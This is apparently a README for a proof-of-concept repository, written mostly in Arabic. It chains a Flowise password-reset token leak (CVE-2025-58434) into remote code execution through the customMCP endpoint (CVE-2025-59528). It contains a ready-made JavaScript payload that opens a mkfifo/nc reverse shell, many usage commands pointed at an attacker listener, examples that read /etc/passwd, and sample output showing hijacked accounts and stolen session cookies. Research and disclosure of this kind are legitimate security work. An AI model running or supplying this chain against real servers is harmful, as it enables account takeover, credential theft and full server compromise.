{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← إدخال مستخدم غير منقى

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

المهاجم                              واجهة Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← الرمز مسرب في الرد
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← اكتمل الاستيلاء على الحساب
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← تم استخراج الكوكيز
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() يعمل في الخلفية]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   مستقبل nc الخاص بالمهاجم ←─────────────── الخادم يتصل مرة أخرى
   ✓  RCE كامل بدون أي بيانات اعتماد

flowise-dual-cve-poc/
├── flowise_poc.py      # PoC الرئيسي — جميع الوحدات + وضع السلسلة
├── requirements.txt    # تبعيات Python
├── README.md           # هذا الملف
└── DISCLAIMER.md       # الإشعار القانوني الكامل

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

# استدعاء بسيط — سلسلة كاملة + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

nc -lvnp 4444

python3 flowise_poc.py -h

# Reverse shell (التحميل الافتراضي)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# أمر مخصص بدلاً من reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# كلمة مرور ATO مخصصة + reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

# كلمة مرور جديدة افتراضية
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# كلمة مرور جديدة مخصصة
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# طباعة استجابة JSON الخام
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# مخرجات JSON للبرمجة النصية
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

# Reverse shell — تسجيل دخول تلقائي
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# أمر مخصص — تسجيل دخول تلقائي
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# رمز يدوي — reverse shell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# جميع ملفات تعريف الارتباط الثلاثة يدويًا
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

  [الخطوة 1] [CVE-2025-58434] طلب رمز forgot-password ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    بيانات الحساب المسربة
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] ضعيف — تم الكشف عن الرمز دون مصادقة!

  [الخطوة 2] [CVE-2025-58434] إعادة تعيين كلمة المرور → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] إعادة تعيين كلمة المرور ناجحة (تم مسح tempToken)
  [+] اكتمل الاستيلاء على الحساب → [email protected] / Flowise@Pwn3d2025!

  [الخطوة 3] [المصادقة] تسجيل الدخول لاستخراج ملفات تعريف الارتباط للجلسة ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    ملفات تعريف الارتباط المستخرجة
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [الخطوة 4] [CVE-2025-59528] تنفيذ RCE عبر CustomMCP ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    نتيجة RCE
  ────────────────────────────────────────────────────────────────────
  الوضع    : Reverse Shell
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] تم إطلاق تحميل reverse shell!
  [!] في انتظار الاتصال على 10.10.16.35:4444 ...
  [!] تأكد من تشغيل المستمع: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] السلسلة مكتملة